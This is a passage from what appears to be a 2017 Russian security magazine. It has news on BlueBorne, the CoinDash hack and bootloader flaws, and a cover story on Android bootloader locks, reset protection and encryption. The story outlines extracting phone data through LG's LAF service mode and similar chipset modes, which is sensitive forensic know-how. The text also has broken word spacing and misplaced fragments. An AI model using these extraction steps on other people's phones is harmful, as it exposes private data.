70 мил лионов руб лейГодовой доход: 

все еще работа етСтатус: 

HDrezka.me3. 

315 тысяч человек в сут киПосещаемость: 

69,4 мил лиона руб лейГодовой доход: 

заб локиро ван по жалобе пра вооб ладате лейСтатус: 

Kinokrad.co4. 

271 тысяча человек в сут киПосещаемость: 

59,7 мил лиона руб лейГодовой доход: 

заб локиро ван по жалобе пра вооб ладате лейСтатус: 

Baskino.Club5. 

234 тысячи человек в сут киПосещаемость: 

41 мил лион руб лейГодовой доход: 

заб локиро ван по жалобе пра вооб ладате лейСтатус: 

По дан ным Рос комнад зора, в 2016 году по анти пират ско му законо датель ству были заб локиро‐ 

ваны   интернет‐ресур са, с начала 2017 года — уже  .453 6842

По решению Мос горсу да в Рунете нав сегда зак рыто   доменов.600

НОВАЯ ОПАСНОСТЬ
BLUETOOTH
Спе циалис ты  ком пании  Armis  пре дуп редили,  что  5,3  мил лиар да  устрой ств,
работа ющих  с  раз личны ми  импле мен таци ями  Bluetooth  в  Android,  iOS, Win‐
dows и Linux, уяз вимы перед восемью опас ными проб лемами, которым было
прис воено общее наз вание BlueBorne. Спе циалис ты завери ли, что проб лемы
BlueBorne  невоз можно  обна ружить  и  испра вить  стан дар тны ми  метода ми,
а  для  экс плу ата ции багов  не  пот ребу ется  никако го  вза имо дей ствия  с  поль‐ 
зовате лем, нужен лишь вклю чен ный Bluetooth.

BlueBorne пред став ляет опас ность для  самых раз ных  устрой ств,  начиная
от смар тфо нов, носимых  устрой ств и ноут буков и закан чивая  IoT‐девай сами
и авто моби лями. Все,  что  так или ина че под держи вает Bluetooth,  находит ся
в зоне рис ка.

В сос тав BlueBorne вош ли восемь проб лем, най ден ные в сте ках  круп ных
про изво дите лей: CVE‐2017‐0781, CVE‐2017‐0782, CVE‐2017‐0783 и CVE‐2017‐
0785  для  Android,  CVE‐2017‐1000251  и  CVE‐2017‐1000250  для  Linux,  CVE‐
2017‐14315  для  iOS,  CVE‐2017‐8628  для  Windows.  Баги  были  обна руже ны
в L2CAP, BlueZ, SDP, SMP, BNEP, PAN Profiles, а так же проп риетар ной импле‐ 
мен тации LEAP, исполь зуемой Apple.

Опи сан ные иссле дова теля ми уяз вимос ти поз воля ют выпол нить на устрой‐ 
стве про изволь ный код, устро ить ата ку Man‐in‐the‐Middle и перех ватить Blue‐
tooth‐соеди нение. Хуже того, спе циалис ты пре дуп редили, что проб лемы ока‐ 
зались  наибо лее  опас ными  Bluetooth‐багами  за  все  вре мя  иссле дова ний
и могут быть исполь зованы для соз дания самораз мно жающе гося Bluetooth‐
чер вя, который в теории спо собен спро воци ровать эпи демию мирово го мас‐ 
шта ба.

«Проб лемы,  которые  обна ружи вали  в  Bluetooth  ранее,  в  основном
сущес тво вали на  уров не про токо ла. Эти новые  уяз вимос ти работа ют
на  уров не  импле мен тации,  что  поз воля ет  обой ти  ряд  защит ных
механиз мов  и  пол ностью  перех ватить  кон троль  над  устрой ством», —
говорят спе циалис ты Armis.

Ком пания уже уве доми ла о проб лемах ведущих про изво дите лей ПО и железа,
вклю чая  Apple,  Google,  Microsoft,  а  так же  сооб щес тво  Linux.  В  раз работ ке
сей час  находит ся  мно жес тво  пат чей,  которые  дол жны  стать  дос тупны ми
для поль зовате лей в бли жай шее вре мя. При этом иссле дова тели понима ют,
что  исправ ления  получат  далеко  не  все  уяз вимые  устрой ства,  так
как  огромный  про цент  таких  девай сов  уже  дав но  отно сит ся  к  раз ряду  уста‐ 
рев ших  и  боль ше  не  под держи вает ся.  По  мне нию  ана лити ков  Armis,  пат чи
никог да не вый дут для 40% уяз вимых устрой ств, а это свы ше двух мил лиар дов
уяз вимых девай сов с под дер жкой Bluetooth.

Из вес тно, что BlueBorne не пред став ляет опас ности для  ‐устрой‐ 
ств,  исполь зующих  Bluetooth  Low  Energy.  Для  осталь ных  слу чаев  выш ли
обновле ния, вошед шие в сос тав сен тябрь ско го Android Security Bulletin.

Android

Проб леме  под верже ны  все  вер сии    начиная  с  Vista,  раз работ‐ 
чики  Microsoft  тоже  уже  занима ются  пат чами.  Так,  в  сос тав  сен тябрь ско го
«втор ника  обновле ний»  вош ло  исправ ление  для  CVE‐2017‐8628,  соз данное
еще в июле 2017  года. Кро ме  того, инже неры ком пании уве рили,  что смар‐ 
тфо нам на базе Windows уяз вимос ти не страш ны.

Windows

‐устрой ства, работа ющие с BlueZ, уяз вимы перед утеч ками дан ных,
а  так же  все  устрой ства,  исполь зующие  3.3‐rc1  и  выше  (вышел
в октябре 2011 года), уяз вимы перед RCE‐ата ками через Bluetooth. Это каса‐ 
ется и опе раци онной сис темы Tizen ком пании Samsung.

Linux

Все  ,  работа ющие  под  управле нием  iOS
9.3.5 и ниже, а так же устрой ства AppleTV вер сии 7.2.2 и ниже были уяз вимы,
но получи ли обновле ние в сос таве iOS 10.

iPhone,  iPad  и  iPod

Эк спер ты Armis нас тоятель но рекомен дуют всем отклю чать Bluetooth, если
он не исполь зует ся, и как мож но ско рее уста новить обновле ния, если они уже
дос тупны.

 → «Я  хочу  сно ва  видеть  то  комь юни ти,  что  мы  име ли  ког да‐то.  Не  знаю,  воз можно  ли  это,

но  такова  моя  основная  цель.  Все  началось  с  модифи циро ван ного  PHP‐форума,  на  котором

мож но было раз мещать torrent‐фай лы. В какой‐то момент мы начали исполь зовать нас тоящий

скрипт для индекса ции тор рентов, написан ный на PHP, и начали соз давать пер вую вер сию того

сай та, который сущес тву ет сей час»,

,  твер до  воз намерив ший ся  вер нуть

ресур су былую сла ву.

—  Deimos,  осно ватель  тор рент‐тре кера  Demonoid

УДАЧА COINDASH
16  июля  2017  года  изра иль ский  стар тап  CoinDash  запус тил  про цеду ру  ICO
(Initial Coin Offering, пер вично го раз мещения токенов), которая в ито ге завер‐ 
шилась    для  про екта.  Через  три  минуты  пос ле  раз‐ 
мещения  токенов  неиз вес тные  зло умыш ленни ки  взло мали  сайт  CoinDash
и под менили адрес офи циаль ного Ethereum‐кошель ка на свой собс твен ный.

не  слиш ком  хорошо

Хо тя ата ку обна ружи ли поч ти мгно вен но, толь ко за пер вые пять минут пос‐ 
ле взло ма на кошелек хакеров переве ли более 6 мил лионов дол ларов. В ито‐ 
ге  зло умыш ленни ки  «зарабо тали»  более  43  тысяч  Ethereum,  что  рав нялось
при мер но 8,3 мил лиона дол ларов по кур су на тот момент.

Тог да пред ста вите ли CoinDash пообе щали,  что выпус тят  токены для всех
пос тра дав ших,  которые  отпра вили  средс тва  на  кошелек  прес тупни ков.
Теперь, спус тя два месяца пос ле инци ден та, пред ста вите ли CoinDash неожи‐ 
дан но  сооб щили,  что  зло умыш ленни ки  вер нули  на  один  из  кошель ков  ком‐ 
пании 10 тысяч ETH, то есть поч ти 3 мил лиона дол ларов по текуще му кур су.
Тран закцию дей стви тель но мож но уви деть  . При этом в кошель ке зло‐ 
умыш ленни ков до сих пор лежат оставши еся 8 мил лионов дол ларов.

здесь

Что  имен но  под тол кну ло  хакеров  вер нуть  средс тва,  неиз вес тно.  Руково‐ 
дите ли CoinDash  пишут,  что  прес тупни ки  не  выходи ли  с  ними  на  связь  и  не
делали  никаких  офи циаль ных  заяв лений,  поэто му  об  их  мотивах  оста ется
лишь догады вать ся.

Пред ста вите ли  CoinDash  наз вали  слу чив шееся  «неверо ятным»,  но  отме‐ 
тили, что рас сле дова ние июль ско го инци ден та про дол жает ся, в нем учас тву‐ 
ют изра иль ские пра воох ранитель ные орга ны.

 ЗАПИСЕЙ БЫЛИ УКРА ДЕНЫ ИЛИ СЛУ ‐
ЧАЙ НО УТЕК ЛИ НА СТО РОНУ В 2017 ГОДУ
1,9 МИЛ ЛИАР ДА

 → ИБ‐спе циалис ты из ком пании Gemalto под счи тали, что сум марный ущерб от раз личных уте‐ 

чек  дан ных  в  2017  году  уже  пре высил  показа тели  прош лого  года:    мил лиар да  записей

на текущий момент про тив   мил лиар да за весь 2016 год.

1,9
1,37

В сред нем в откры тый дос туп ежед невно попада ют   мил лиона раз личных записей и ситу‐ 

ация  толь ко  про дол жает  ухуд шать ся.  К  при меру,  в  пер вой  полови не  2017  года  в  мире  было

зафик сирова но   уте чек дан ных, что на   боль ше, чем за ана логич ный пери од прош лого

года.

10,4

918 13%

Силь нее все го в отче те Gemalto удру чает, что   из всех этих укра ден ных или слу чай но

обна родо ван ных дан ных были зашиф рованы.

ме нее 1%

ОПАСНЫЕ
БУТЛОАДЕРЫ
Спе циалис ты  из  Калифор ний ско го  уни вер ситета  в  Сан та‐Бар баре  пред ста‐ 
вили на кон ферен ции Usenix инте рес ный док лад, пос вящен ный безопас ности
бут лоаде ров ведущих про изво дите лей. Иссле дова тели обна ружи ли семь уяз‐ 
вимос тей,  наруша ющих  цепоч ку  доверия  (Chain  of  Trust,  CoT),  а  с  ней
и безопас ность пер воначаль ного поряд ка заг рузки.

Android‐бут лоаде ры,  по  сути,  пред став ляют  собой  «серую  область»,  изу‐ 
чать  которую  доволь но  слож но  в  силу  зак рытос ти  исходных  кодов  и  отсутс‐ 
твия  метадан ных.  Поэто му  боль шую  часть  вре мени  спе циалис ты  пот ратили
на соз дание инс тру мен та BootStomp, пред назна чен ного спе циаль но для тес‐ 
тирова ния и ана лиза бут лоаде ров и облегча юще го реверс‐инжи ниринг.

Ана лити ки объ ясня ют, что задача BootStomp зак люча ется в авто мати чес‐ 
ком  обна руже нии  уяз вимос тей,  свя зан ных  с  исполь зовани ем  ата кующи ми
энер гонеза виси мой памяти, которой доверя ет код бут лоаде ра. Таким обра‐ 
зом, BootStomp помога ет авто мати зиро вать поиск багов и обна ружить проб‐ 
лемные области, которые затем про веря ют люди. Исполь зуя дан ную методи‐ 
ку, спе циалис ты сумели обна ружить семь уяз вимос тей, лишь одна из которых
была  извес тна  ранее  (CVE‐2014‐9798).  Осталь ные  шесть  багов  ока зались
новыми,  что  уже  приз нали  сами  про изво дите ли.  Сум марно  коман да  спе‐ 
циалис тов  из  Калифор ний ско го  уни вер ситета  про вери ла  пять  бут лоаде ров
четырех раз ных про изво дите лей:

Huawei/HiSilicon чип сет [Huawei P8 ALE‐L23];•
NVIDIA Tegra чип сет [Nexus 9];•
MediaTek чип сет [Sony Xperia XA];•
Qualcomm новый LK бут лоадер;•
Qualcomm ста рый LK бут лоадер.•

«Некото рые  из  [най ден ных  нами]  уяз вимос тей  могут  поз волить  ата- 
кующе му выпол нить про изволь ный  код в  виде  час ти бут лоаде ра  (что
ком про мети рует  всю  цепоч ку  доверия)  или  осу щес твить  пер манен- 
тную DoS-ата ку. Наш инс тру мент  так же  выявил два бут лоаде ра,  уяз- 
вимос ти  в  которых  могут  быть  исполь зованы  ата кующим  с  root-при- 
виле гиями  на  уров не  ОС  для  раз бло киров ки  устрой ства  и  ком про- 
мета ции CoT», — пишут иссле дова тели.

Спе циалис там  было  извес тно,  что  ста рый  бут лоадер  Qualcomm  LK  уяз вим
перед проб лемой CVE‐2014‐9798, и BootStomp пов торно обна ружил дан ный
баг, тем самым поз волив коман де убе дить ся в том, что инс тру мент работа ет
как дол жно. В ито ге рас сле дова ние  выяви ло  уяз вимость  в  про дук тах NVIDIA
и еще пять багов в бут лоаде рах HiSilicon. Резуль таты тес тов при веде ны в таб‐ 
лице ниже.

СА МЫЙ ПОПУЛЯР НЫЙ МЕС СЕН ДЖЕР СРЕ ДИ КИБЕР ПРЕС ‐
ТУПНИ КОВ — ЭТО DISCORD
 → Ана лити ки ком пании IntSights изу чили самые популяр ные средс тва ком муника ции в дар кне‐ 

те.  В  отчет  спе циалис тов  вош ли  все  упо мина ния  о  каких‐либо  средс твах  свя зи,  най ден ные

на стра ницах раз личных ресур сов дар кне та, за пери од с июня по июль 2017 года.

Ис поль зование  мес сен дже ров  в  кибер кри миналь ной  сре де  в  целом  воз росло  в 

по срав нению с прош лым годом.

30  раз

Са мым популяр ным сре ди кибер прес тупни ков мес сен дже ром неожи дан но ока зал ся  ,

раз работ чики которо го вооб ще отка зыва ются исполь зовать шиф рование end‐to‐end.

Discord

На вто ром и треть ем мес тах, с боль шим отста вани ем, рас положи лись  .Telegram и WhatsApp

 → «Такая  популяр ность  Discord  уди витель на,  если  учесть,  что  это  срав нитель но  неболь шая

плат форма, которой поль зуют ся толь ко 45 мил лионов человек», — пишут ана лити ки IntSights.

http://publication.pravo.gov.ru/Document/View/0001201707300002
https://xakep.ru/2017/07/18/coindash-hacked/
https://etherscan.io/tx/0x39ac7a4c95eef7a02714146e73d0bd6dbc8985705c0346d70026f378cd0272b0
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COVERSTORY

Android — это сис тема, которая при выпол нении ряда усло‐ 

вий и гра мот ном исполь зовании мог ла бы стать дос таточ но

безопас ной. В реаль ном же мире все пор тят про изво дите ли.

Сегод ня  мы  рас смот рим  защит ные  механиз мы  Android,

приз ванные  обес печивать  доверен ную  заг рузку  и  охра нять

твои дан ные от зло умыш ленни ков, — а так же изу чим ошиб ки

и  не  сов сем  ошиб ки  про изво дите лей  LG,  Motorola  и  Sam‐

sung, сво дящие поль зу от этих механиз мов на нет.

В пре дыду щем номере Евге ний Зоб нин опуб ликовал  , про дол жающую

бес конеч ную  дис куссию  о  безопас ности  мобиль ных  опе раци онных  сис тем.

По  утвер жде нию  Евге ния,  «чис тый»  Android  задумы вал ся  как  дос таточ но

безопас ная сис тема, а количес тво най ден ных в самой сис теме уяз вимос тей

впол не срав нимо с чис лом уяз вимос тей бли жай шего кон курен та — Apple iOS.

статью

Се год ня мы раз берем ся, о  каких имен но механиз мах безопас ности идет

речь,  и  поп робу ем  натянуть  «сфе ричес кий  Android  в  ваку уме»  на  гло бус

реаль ного  мира,  пред став ленный  устрой ства ми  таких  про изво дите лей,

как Samsung, LG и Motorola (Lenovo).

По мимо тех ничес ких, мы рас смот рим и полити чес кие аспекты защиты тво‐ 

ей информа ции в реаль ных устрой ствах. Если Apple не пос тесня лась судить‐ 

ся с государс твом за пра во   вер сию сис темы, которая мог‐ 

ла  бы  исполь зовать ся  спец служ бами  для  дос тупа  к  тво им  дан ным,  то  как  с

этим обсто ят  дела  у  бли жай шего  кон курен та —  ком пании Samsung?  (Спой‐ 

лер: с точ ностью до наобо рот.)

не раз рабаты вать

Но нач нем мы все же с тех нологий.

ANDROID И ДОСТУП К ДАННЫМ

Как я уже опи сывал в одной из ста тей, у безопас ности мобиль ных устрой ств

мно жес тво аспектов. Здесь и безопас ность хра нения дан ных, и устой чивость

к взло му с помощью физичес ких атак, и  защита от  кра жи, и раз нооб разные

песоч ницы  для  при ложе ний,  огра ничи вающие  их  воз можность  незамет но

сле дить  за  тобой,  собирать  и  переда вать  информа цию,  и  мно гое  дру гое.

Сегод ня мы оста новим ся толь ко на одном аспекте, а имен но — устой чивос ти

устрой ств  к физичес ким  ата кам,  с  помощью  которых  зло умыш ленник,  спец‐ 

служ бы или орга ны охра ны пра вопо ряд ка могут попытать ся извлечь из него

твои дан ные.

С каж дым поколе нием устрой ств и с каж дой новой вер сией мобиль ных ОС

смар тфо ны  ста новят ся  все более безопас ными. И  это  не  иллю зия:  и  Apple,

и Google  прик ладыва ют  все  уси лия,  что бы  свес ти  к  миниму му  воз можнос ти

неав торизо ван ного  дос тупа  к  информа ции.  Разуме ется,  все  их  дей ствия

совер шают ся  в  рам ках  огра ниче ний,  задан ных  как  самой  плат формой,  так

и кон крет ными устрой ства ми на ее осно ве.

Да вай рас смот рим некото рые из этих механиз мов и то, как они спо собс‐ 

тву ют защите от несан кци они рован ного дос тупа.

БЛОКИРОВКА ЗАГРУЗЧИКА

Преж де  чем  вда вать ся  в  детали  реали зации шиф рования,  нем ного  погово‐ 

рим  о  встро енных  в  Android  механиз мах,  которые  приз ваны  защитить  твои

дан ные  от  нераз руша ющих  спо собов  извле чения.  Для  нас  пред став ляют

инте рес три вещи: бло киров ка заг рузчи ка (а точ нее, все механиз мы, спо соб‐ 

ные пре дот вра тить запуск непод писан ного кода), шиф рование раз дела дан‐ 

ных и пароль, который может быть уста нов лен на смар тфон.

В Android  заг рузчик  (bootloader) — это  пер вый  код,  который  заг ружа ется

со встро енно го в телефон накопи теля. Имен но заг рузчик содер жит механиз‐ 

мы,  с  помощью  которых  устрой ство  может  про верить  циф ровую  под пись

и целос тность  заг рузоч ного раз дела,  и  имен но  заг рузчик  несет ответс твен‐ 

ность за заг рузку телефо на в сис тему или один из вспо мога тель ных режимов

fastboot или recovery.

Во  вре мя  заг рузки опе раци онной сис темы  заг рузчик  выпол няет  инс трук‐ 

ции,  которые  переда ют  управле ние  ядру,  записан ному  в  раз дел  boot.  Пос‐ 

коль ку  заг рузчик —  это  пер вое,  что  запус кает ся  на  смар тфо не,  имен но  он

при нима ет решение о  том,  какой имен но код будет выпол нять ся, а  какой —

нет.  Соот ветс твен но,  защита  (бло киров ка)  заг рузчи ка  —  важ ный  эле мент

обес печения безопас ности цепоч ки заг рузки.

Итак,  заг рузчик  запус кает ся  преж де  всех  осталь ных  ком понен тов  опе‐ 

раци онной  сис темы.  Он  про веря ет  целос тность  ядра,  а  так же —  если  заг‐ 

рузчик заб локиро ван — аутен тичность его циф ровой под писи.  (Раз бло киро‐ 

ван ный  заг рузчик  все  рав но  про веря ет  целос тность  и  циф ровую  под пись

ядра;  прос то  под писать  ядро  мож но  будет  не  толь ко  про изво дите лю,  но  и

сто рон ним раз работ чикам.) Если сле дующий ком понент заг рузки не про ходит

про вер ку целос тнос ти или безопас ности, заг рузка прер вется, а поль зовате‐ 

лю  будет  выведе но  соот ветс тву ющее  уве дом ление  (осо бен но  жес тко  этот

момент кон тро лиру ется в вер сиях Android начиная с 7.0).

Ес ли заг рузчик заб локиро ван, поль зователь не смо жет вно сить изме нения

в сис темные и заг рузоч ные раз делы, а так же не смо жет заг рузить устрой ство

коман дой  fastboot  boot  xxx.img  с  помощью  непод писан ного  обра за  (нап‐ 

ример, в сто рон нее recovery — TWRP и подоб ные).

Ес ли  же  заг рузчик  раз бло киро ван,  то  тебе  будет  дос тупно  боль шинс тво

команд из арсе нала fastboot. В час тнос ти, ты смо жешь заг рузить устрой ство

с  исполь зовани ем  сто рон него  обра за,  модифи циро вать  ядро  сис темы

или сис темный раз дел. Имен но поэто му раз бло киро вание заг рузчи ка — пер‐ 

вое, что про делы вают со сво ими устрой ства ми раз работ чики и хакеры.

Ка залось  бы,  раз бло киров ка  заг рузчи ка —  оче вид ный шаг  для  полицей‐ 

ско го, который хочет покопать ся в тво ем телефо не. Но так может показать ся

толь ко на пер вый взгляд. Во‐пер вых, далеко не все про изво дите ли поз воля ют

раз бло киро вать  заг рузчик,  а  те,  которые  поз воля ют,  раз реша ют  раз бло‐ 

киров ку не для каж дой модели и не для каж дой опе ратор ской вер сии. Некото‐ 

рые  про изво дите ли  пре дос тавля ют  воз можность  офи циаль но  раз бло киро‐ 

вать заг рузчик толь ко пос ле зап роса спе циаль ного кода с их сай та, а некото‐ 

рые  (нап ример, на устрой ствах лине ек Nexus и Pixel, Nextbit Robin) — одной

коман дой в fastboot.

Тем  не  менее  исполь зовать  эту  про цеду ру  для  извле чения  информа ции

не удас тся: при раз бло киро вании заг рузчи ка унич тожа ются крип тогра фичес‐ 

кие  клю чи,  с  помощью  которых  зашиф рован  раз дел  поль зователь ских  дан‐ 

ных,  и  про исхо дит  сброс  до  завод ских  нас тро ек.  Не  хочешь  сбра сывать?

Зашиф рован ный раз дел дан ных ты смо жешь ско пиро вать, но рас шифро вать

его не удас тся никаки ми средс тва ми.

К  сло ву, штат ной раз бло киров ки  заг рузчи ка для  устрой ств Apple  не пре дус‐ 

мотре но вов се,  а  нем ногочис ленные экс пло иты зор ко сте регут ся раз работ‐ 

чиками: их поиск может длить ся годами, а зак рыть обна ружен ную уяз вимость

для Apple — дело одной‐двух недель.

ЗАЩИТА ОТ СБРОСА К ЗАВОДСКИМ НАСТРОЙКАМ

До пус тим, тебе каким‐то обра зом уда лось обой ти бло киров ку заг рузчи ка (что

само по  себе малове роят но)  или  в  твои руки  попал  телефон  с  уже раз бло‐ 

киро ван ным  заг рузчи ком.  Теперь‐то  мож но  запус тить  TWRP  и  ско пиро вать

раз дел дан ных? Ско рее да,  чем нет, но не всег да и не на всех устрой ствах.

В  Android  пре дус мотрен  допол нитель ный  механизм  защиты  —  как  раз

для таких слу чаев.

Не зави симо от  того, заб локиро ван или раз бло киро ван заг рузчик устрой‐ 

ства, в боль шинс тве моделей Samsung и Motorola есть еще одно неоче вид‐ 

ное пре пятс твие на пути дос тупа к информа ции.

С  выходом  Android  5.1  раз работ чики  Google  добави ли  механизм,  нап‐ 

равлен ный  на  пре дот вра щение  дос тупа  к  дан ным  и  сбро са  устрой ства

к  завод ским  нас трой кам  в  слу чае  его  кра жи.  Основное  пред назна чение

защиты от сбро са к завод ским нас трой кам (Factory Reset Protection, FRP) не в

том, что бы защитить устрой ство от сбро са как таково го, а в том, что бы сде‐ 

лать его бес полез ным для зло умыш ленни ков, пре дот вра тив воз можность его

акти вации и исполь зования пос ле сбро са.

При  акти виро ван ной  защите  FRP  зло умыш ленник  может  уда лить  дан ные

и сбро сить устрой ство, но (по край ней мере в теории — на самом деле спо‐ 

собов обой ти эту защиту сущес тву ет порядоч но) вос поль зовать ся им не смо‐ 

жет:  сис тема  началь ной  нас трой ки  пот ребу ет  ввес ти  учет ные  дан ные  того

Google Account, который исполь зовал ся перед сбро сом устрой ства.

FRP  акти виру ется  авто мати чес ки  во  вре мя  нас трой ки  устрой ства

при выпол нении двух усло вий: 1) исполь зует ся безопас ный экран бло киров‐ 

ки:  устрой ство  защище но  PIN‐кодом,  паролем,  пат терном  или  дру гим  спо‐ 

собом;  2)  поль зователь  добав ляет  хотя  бы  одну  учет ную  запись Google  Ac‐

count.  Соот ветс твен но,  при  вык лючении  безопас ного  экра на  бло киров ки

или при уда лении учет ной записи Google из нас тро ек устрой ства защита FRP

так же авто мати чес ки отклю чает ся.

Итак,  защита  от  сбро са  к  завод ским  нас трой кам —  отлично  задуман ная

(но пло хо реали зован ная) сис тема. Но при чем тут она? Дело в том, что ряд

про изво дите лей  (в  час тнос ти,  Samsung  и  Motorola)  пош ли  чуть  даль ше,

реали зовав допол нитель ный защит ный механизм имен но через сис тему FRP.

Что  про изой дет,  если  зло умыш ленник  заг рузит  устрой ство  в  сто рон нее

recovery и поп росту обну лит раз дел frp? Или же уста новит про шив ку без при‐ 

ложе ний Google, обой дя таким обра зом защиту от кра жи? С раз бло киро ван‐ 

ным заг рузчи ком это впол не воз можно.

Имен но для защиты от подоб ных сце нари ев исполь зует ся допол нитель ная

про вер ка.  При  акти виро ван ной  защите  от  сбро са  к  завод ским  нас трой кам

FRP устрой ство всег да будет вес ти себя так, буд то его заг рузчик заб локиро‐ 

ван,  —  даже  если  была  про изве дена  про цеду ра  раз бло киров ки.  Заг рузить

непод писан ный код (сто рон нее recovery или про шив ку) не получит ся.

Та ким  обра зом,  даже  если  заг рузчик  смар тфо на  раз бло киро ван  (напом‐ 

ним, боль шинс тво поль зовате лей это го не дела ет), его все рав но не удас тся

заг рузить в сто рон нее recovery, если:

в устрой стве до сбро са была нас тро ена учет ная запись Google Account;•

был  нас тро ен  безопас ный  экран  бло киров ки  (пароль,  пат терн  и  подоб‐ 

ное).

•

Сов мес тно  с  защитой,  пре дос тавля емой  бло киров кой  заг рузчи ка,  FRP  спо‐ 

собен  впол не  эффектив но  вос пре пятс тво вать  заг рузке  сто рон него  кода

и извле чению дан ных.

ИЗВЛЕКАЕМ ДАННЫЕ ИЗ УСТРОЙСТВ С ЗАБЛОКИРОВАННЫМ

ЗАГРУЗЧИКОМ

Итак,  спо соб  с  офи циаль ной  раз бло киров кой  заг рузчи ка  нам  не  под ходит:

при раз бло киро вании как крип тогра фичес кие клю чи, так и сами дан ные унич‐ 

тожа ются. Даже в том малове роят ном слу чае, если бы уда лось раз бло киро‐ 

вать устрой ство без потери дан ных, механизм защиты от сбро са к завод ским

нас трой кам может помешать запус ку непод писан ного заг рузоч ного обра за.

В теории — в том самом «сфе ричес ком Android в ваку уме» — все хорошо:

сис тема безопас на, враг не прой дет. А вот на прак тике… На прак тике быва ет

раз ное.

Возь мем,  нап ример,  смар тфо ны  LG.  Про изво дитель  пре дус мотрел  в  них

чрез вычай но  удоб ный  сер висный  режим,  изна чаль но  пред назна чен ный

для  обновле ния  про шив ки.  Одна ко,  в  отли чие  от  сер висно го  режима  DFU

в iPhone, реали зация про токо ла LAF допус кает двус торон нюю ком муника цию.

Соот ветс твен но,  ты  можешь  лег ко  и  изящ но  вот кнуть  прак тичес ки  любой

телефон  про изводс тва  LG  незави симо  от  чип сета,  вер сии  Android  и  тому

подоб ной  мишуры,  запус тить  при ложе ние  и  нажать  кноп ку.  Спус тя

десять‐пят надцать минут у тебя на компь юте ре будет пол ная копия всех раз‐ 

делов устрой ства.

Сам про цесс пре дель но прост. Для начала пот ребу ется перевес ти смар‐ 

тфон  LG  в  режим  LAF,  для  чего  нуж но  вык лючить  телефон,  зажать  кноп ку

«Гром кость+»  и  под клю чить  устрой ство  к  компь юте ру.  Телефон  при  этом

будет выг лядеть как‐то так.

Даль ше  запус каем  любую  прог рамму  с  под дер жкой  дан ного  режима  (нап‐ 

ример,  Oxygen  Forensic  Suite),  выбира ем  из  спис ка  дос тупных  методов

«Смар тфо ны  LG»  и  жмем  кноп ку.  Спус тя  нес коль ко  око шек  с  инс трук циями,

которые мы про пус тим, на экра не компь юте ра появит ся что‐то в таком роде.

Те перь дос таточ но прос то подож дать, и у тебя обра зует ся пол ная копия дан‐ 

ных поль зовате ля. Обра ти вни мание: нам даже не приш лось заг ружать сис‐ 

тему! Извле чение через сер висный режим не оставля ет сле дов и вооб ще —

«чис тая работа».

А  что  нас чет  дру гих  устрой ств,  тех,  что  не  LG?  Для  мно гих  из  них  есть

подоб ные  сер висные  режимы.  Для  смар тфо нов  с  чип сетами  MediaTek

это  небезыз вес тный  SP  Flash  Tool,  для  телефо нов  на  Qualcomm  —

режим  9008,  который  так же  откры вает  низ коуров невый  дос туп  к  дан ным

(впро чем,  его  исполь зование  тре бует  допол нитель ных  телод вижений

и некото рых фай лов, не всег да дос тупных широкой пуб лике).

У  тебя  не  воз никло  мыс ли,  что  все  это  как‐то…  черес чур  прос то?  Ты

совер шенно  прав:  все  эти  методы  прек расно  работа ли  (и  про дол жают

работать!) на устрой ствах, выпущен ных с Android до вер сии 5.1.1 вклю читель‐ 

но, даже если эти устрой ства потом обно вились до 6‐й или 7‐й вер сии сис‐ 

темы.  А  вот  для  све жих  устрой ств,  которые  были  выпуще ны  с  Android

6.0  на  бор ту,  этот  под ход  уже  не  сра бота ет.  Точ нее,  сра бота ет  лишь  час‐ 

тично: дан ные мы ско пиру ем, но стол кнем ся с тем, что они ока жут ся зашиф‐ 

рованы.

ШИФРОВАНИЕ

Шиф рование слож ным, неиз вле каемым клю чом — основной и глав ный метод

защиты  дан ных.  В  кон це  кон цов,  телефон,  даже  нерабо чий,  всег да  мож но

разоб рать, чип памяти — извлечь и счи тать с помощью недоро гого адап тера.

В таких сце нари ях  толь ко и исклю читель но шиф рование спо соб но защитить

информа цию.

Шиф рование было дос тупно поль зовате лям Android на самых ран них эта‐ 

пах  ста нов ления  сис темы,  но  во  что‐то  более‐менее  безопас ное  этот

механизм  прев ратил ся  лишь  сов сем  недав но.  Вплоть  до  вер сии  6.0  шиф‐ 

рование раз дела дан ных оставля лось на откуп поль зовате лю; что бы его вклю‐ 

чить, тебе приш лось бы зай ти в нас трой ки и вруч ную акти виро вать соот ветс‐ 

тву ющую  опцию.  Как  дума ешь,  какой  про цент  поль зовате лей  это  делал?

Добав лю,  что  даже  на  таких  смар тфо нах,  как  Nexus  6,  который  дол жен  был

показать,  что  защита  дан ных — это  сов сем не  страш но, шиф рование  серь‐ 

езней шим обра зом тор мозило работу устрой ства. В резуль тате шиф рование

вклю чали  лишь  отдель ные  парано ики  и  жер твы  кор поратив ных  политик

безопас ности.

Си туация ста ла изме нять ся с выходом шес той вер сии Android и мас совым

рас простра нени ем  устрой ств  на 64‐бит ных  чип сетах ARM,  в  наборе  команд

которых (ARMv8) при сутс тву ют рас ширения для аппа рат ного уско рения крип‐ 

тогра фичес ких  опе раций.  Теперь  про изво дите ли,  выпус кающие  устрой ства

с  Android  6.0  (и  более  новых  вер сий)  на  бор ту,  дол жны  акти виро вать  шиф‐ 

рование  по  умол чанию —  ина че  смар тфон  не  прой дет  сер тифика цию  и  не

смо жет получить дос туп к Play Store и дру гим сер висам Google.

Да, здесь есть своя лож ка дег тя: ста рые устрой ства, которые обновля ются

до  Android  6,  а  так же  весь  несер тифици рован ный  Китай  про дол жают  обхо‐ 

дить ся  без  шиф рования.  Одна ко  в  целом  о  тво ей  безопас ности  позабо‐ 

тились:  покупая  новое  устрой ство  в  магази не,  ты  получа ешь  шиф рование,

работа ющее, что называ ется, из короб ки.

Ну  что  —  iOS  грус тно  курит  в  сто рон ке?  Ну…  поч ти.  Дело  в  том,  что

начиная  с  вер сии  7.0  Android  под держи вает  два  механиз ма  шиф рования

накопи теля:  FDE  (Full‐disk  encryption,  пол нодис ковое  шиф рование)  и  FBE

(File‐based encryption, пофай ловое шиф рование). Вто рой метод более совер‐ 

шенный,  но  мно гие  про изво дите ли  по‐преж нему  про дол жают  исполь зовать

схе му  FDE  либо  по  при выч ке,  либо  прос то  из‐за  отсутс твия  воз можнос ти

исполь зовать FBE. А это при водит к ряду проб лем.

ПОЛНОДИСКОВОЕ ШИФРОВАНИЕ

Ес ли пом нишь, в iOS исполь зует ся прод винутая мно гос лой ная сис тема шиф‐ 

рования. На блоч ном уров не (а есть еще и отдель ное допол нитель ное шиф‐ 

рование  для  некото рых  катего рий  дан ных!)  сис тема  исполь зует  уни каль ные

крип тогра фичес кие  клю чи,  что бы  защитить  каж дый  блок  дан ных  по  отдель‐ 

